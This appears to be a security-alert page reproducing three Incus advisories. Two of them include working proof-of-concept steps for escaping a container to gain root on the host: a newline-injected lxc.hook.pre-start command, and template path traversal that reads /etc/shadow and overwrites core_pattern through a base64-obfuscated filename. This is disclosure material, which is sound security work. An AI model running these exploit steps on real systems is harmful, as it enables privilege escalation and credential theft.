Where
AND
-Infinity
0
Severity
8.7
EPSS
0.02%
CRLF Injection
AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary A user with the ability to launch a container with a custom YAML configuration (e.g a member of the ‘incus’ group) can create an environment variable containing newlines, which can be used to add additional configuration items in the container’s lxc.conf due to the newline injection. This can allow adding arbitrary lifecycle hooks, ultimately resulting in arbitrary command execution on the host.

Details When passing environment variables in the config block of a new container, values are not checked for the presence of newlines [1], which can result in newline injection inside the generated container lxc.conf. This can be used to set arbitrary additional configuration items, such as lxc.hook.pre-start. By exploiting this, a user with the ability to launch a container with an arbitrary config can achieve arbitrary command execution as root on the host.

Exploiting this issue on IncusOS requires a slight modification of the payload to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).

[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driverlxc.go#L1081

PoC A proof-of-concept script exploiting this vulnerability can be found attached, named environmentnewlineinjection.sh, showing arbitrary command execution, which will write a file to the root filesystem (/newlineinjectioncommandexecpoc)

Manual Reproduction steps: 1. Launch a new container with a configuration file containing a multiline YAML string as an environment variable value, such as in the listing below. 2. Observe that the lxc.conf (/run/incus/user-1000poc/lxc.conf in my case) contains an additional lxc.hook.pre-start item 3. Observe the creation of the file in the host root directory, with contents proving command execution as root.

incus launch images:alpine/edge --ephemeral poc << EOF config: environment.FOO: |- abc lxc.hook.pre-start = /bin/sh -c "id > /newlineinjectioncommandexecpoc" EOF

Impact A user with the ability to launch a container with a custom YAML configuration (e.g a member of the ‘incus’ group) can achieve arbitrary command execution on the host.

Attachments environmentnewlineinjection.sh environmentnewlineinjection.patch

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.04%
Path Traversal
AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Summary A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.

Details When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following metadata.yaml snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:

templates: /shadow: when: - start template: ../../../../../../../../etc/shadow

Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:

templates: /realroot/proc/sys/kernel/corepattern: when: - start template: corepattern.tpl

Where the container root filesystem contains a symbolic link named /realroot pointing to /. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root.

This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting /proc/sys/kernel/corepattern, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.

This vulnerability can be exploited by any user who can launch a new container with a custom image.

Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).

[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driverlxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driverlxc.go#L7294

PoC A proof of concept script for the following can be found attached, named templatearbitrarywrite.sh, which will show reading of a file from the host filesystem (/etc/shadow), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (/templatearbitrarywritecmdexecpoc).

Manual Reproduction steps:

1. Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs 2. Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e ln -s / rootfs/realroot) 3. Create a directory named “templates” alongside the rootfs directory. Include a file corepattern.tpl containing |/bin/sh -c "%E" 4. Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (chmod +x rootfs/stage2 5. Create a metadata.yaml for this image. Sample listed below 6. Create the image archive (tar cf poc.tar ) and import into incus (incus image import poc.tar --alias poc) 7. Launch the newly imported image and obtain a shell (incus launch poc poc --ephemeral; incus shell poc) 8. Observe that the file /shadow inside the container contains the contents of the /etc/shadow file from the host (host file read vulnerability) 9. Compile segfault.c into a file named x$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh). This filename will be interpolated into the %E value set in the corepattern by the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs. 10. Execute the compiled binary (e.g /x). Observe the creation of the file /templatearbitrarywritecmdexecpoc on the host, containing the output of 'id' showing command execution by the host root user.

segfault.c: int main() { int p = 0; p = 42; return 0; }

stage2: #!/bin/sh id > /templatearbitrarywritecmdexecpoc

metadata.yaml: architecture: x8664 creationdate: 1 properties: architecture: amd64 description: Exploit os: Exploit release: Exploit 1.0 templates: /shadow: when: - start template: ../../../../../../../../etc/shadow

/realroot/proc/sys/kernel/corepattern: when: - start template: corepattern.tpl

Impact A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.

Attachments templatearbitrarywrite.sh templatesarbitrarywrite.patch

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact This affects any Incus user in an environment where an unprivileged user may have root access to a container with an attached custom storage volume that has the security.shifted property set to true as well as access to the host as an unprivileged user.

The most common case for this would be systems using incus-user with the less privileged incus group to provide unprivileged users with an isolated restricted access to Incus. Such users may be able to create a custom storage volume with the necessary property (depending on kernel and filesystem support) and can then write a setuid binary from within the container which can be executed as an unpriivleged user on the host to gain root privileges.

Patches A patch for this issue is available here: https://github.com/lxc/incus/pull/2642

The first commit changes the permissions for any new storage pool, the second commit applies it on startup to all existing storage pools.

Workarounds Permissions can be manually restricted until a patched version of Incus is deployed.

This is done with:

chmod 0700 /var/lib/incus/storage-pools// chmod 0711 /var/lib/incus/storage-pools//buckets chmod 0711 /var/lib/incus/storage-pools//container

Those are the same permissions which will be applied by the patched Incus for both new and existing storage pools.

References This was reported publicly on Github: https://github.com/lxc/incus/issues/2641

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203